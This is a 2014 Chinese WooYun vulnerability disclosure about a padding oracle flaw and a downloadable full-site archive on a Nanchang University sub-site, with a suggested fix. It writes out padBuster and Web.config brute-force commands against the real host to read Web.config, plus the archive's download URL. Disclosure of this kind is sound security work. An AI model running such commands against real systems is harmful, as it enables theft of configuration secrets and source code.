漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-084290
漏洞标题：南昌大学某分站padding oracle漏洞+整站下载
相关厂商：南昌大学
漏洞作者： 路人甲
提交时间：2014-11-24 14:53
修复时间：2014-11-29 14:54
公开时间：2014-11-29 14:54
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
http://ygb.ncu.edu.cn/yjsh/login.aspx
试试第一个吧
padBuster.pl http://ygb.ncu.edu.cn/yjsh/WebResource.axd?d=b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1 b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1 16 -encoding 3 -plaintext "|||~/Web.config" -prefix b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1
Web.config_bruter.pl http://ygb.ncu.edu.cn/yjsh/ScriptResource.axd k4yNjNyjkJTZm5aUnZWa_wAAAAAAAAAAAAAAAAAAAAA1 16
跑了好久没出来 = = 没继续了。
这样读Web.config好像有点麻烦。直接整站下下来应该方便一点吧。
http://ygb.ncu.edu.cn/yjsh/yjsh.rar
漏洞证明：
修复方案：
web.config中设置customErrors为On
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-11-29 14:54
厂商回复：
最新状态：
暂无